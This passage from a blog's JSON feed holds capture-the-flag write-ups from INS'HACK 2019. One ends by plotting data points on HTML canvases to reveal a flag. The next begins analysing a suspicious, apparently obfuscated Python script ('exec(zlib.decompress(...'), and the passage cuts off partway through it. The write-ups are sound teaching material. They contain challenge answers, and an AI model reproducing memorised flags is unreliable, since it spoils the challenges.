class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ewidth\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"kt\"\u003epx\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c\"\u003e/* scaled down by a factor of 10 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eheight\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"kt\"\u003epx\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i2\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i3\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i4\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i5\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i6\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i7\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i8\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i9\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i10\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i11\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i12\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i13\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i14\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i15\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i16\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i17\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i18\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i19\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i20\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i21\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i22\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i23\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i24\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e \u003cspan class=\"na\"\u003eclass\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;i25\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ecanvas\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003escript\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003egetContext\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003equerySelector\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;.i\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)).\u003c/span\u003e\u003cspan class=\"nx\"\u003egetContext\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;2d\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"k\"\u003eof\u003c/span\u003e \u003cspan class=\"nb\"\u003eObject\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ekeys\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esheets\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003epoints\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003esheets\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003econtext\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003egetContext\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ebeginPath\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emoveTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"nx\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"nx\"\u003epoints\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"nx\"\u003ej\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"c1\"\u003e// scaled down by a factor of 10\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nx\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elineTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epoints\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"nx\"\u003ey\u003c/span\u003e \u003cspan class=\"o\"\u003e/\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003epoints\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"nx\"\u003ex\u003c/span\u003e \u003cspan class=\"o\"\u003e/\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estroke\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003escript\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eLooping through each sheet, a path is drawn between each point. The result is sideways, and barely legible, but readable nonetheless: \u003ccode\u003eINSA{HACKINDUSTRIALPROCESS}\u003c/code\u003e.\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg src=\"/inshack-industrial/plotted.png\" alt=\"Plotted output showing the flag INSA{HACKINDUSTRIALPROCESS} drawn sideways\"\u003e\n    \u003cfigcaption\u003eSideways and barely legible, but readable nonetheless\u003c/figcaption\u003e\n\u003c/figure\u003e\n\u003ch2 id=\"references\"\u003eReferences\u003c/h2\u003e\u003cul\u003e\n\u003cli\u003e\u003ca href=\"/inshack-industrial/plotter.html\" rel=\"noreferrer nofollow noopener\"\u003eplotter.html\u003c/a\u003e (\u003ca href=\"/inshack-industrial/plotter.html?raw=1\" rel=\"noreferrer nofollow noopener\"\u003esource\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n",
      "date_published": "2019-05-05T00:00:00Z"
    },
    {
      "id": "l4x9POcNbu4KBtpyB3EyKg",
      "url": "https://textplain.org/inshack-obscure",
      "title": "ins'hack ctf – obscure file format",
      "content_html": "\u003cp\u003e(\u003cem\u003ePart of a series of writeups from INS'HACK \u003cabbr title=\"Capture The Flag\"\u003eCTF\u003c/abbr\u003e 2019.\u003c/em\u003e)\u003c/p\u003e\n\u003cp\u003eThe challenge text reads:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eSomeone left a strange script and some files on a server.\u003c/p\u003e\n\u003cp\u003eWill you help me understand what it did to a server ?\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"analysis\"\u003eAnalysis\u003c/h2\u003e\u003cp\u003eThe three files are \u003ccode\u003ea\u003c/code\u003e, \u003ccode\u003ek\u003c/code\u003e, and \u003ccode\u003el\u003c/code\u003e.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ea:      data\nk:      data\nl:      Python script, ASCII text executable, with very long lines\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003ea\u003c/code\u003e and \u003ccode\u003ek\u003c/code\u003e are some form of binary data, and \u003ccode\u003el\u003c/code\u003e is a Python script. Let's start with the script.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003ezlib\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ezlib\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edecompress\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan 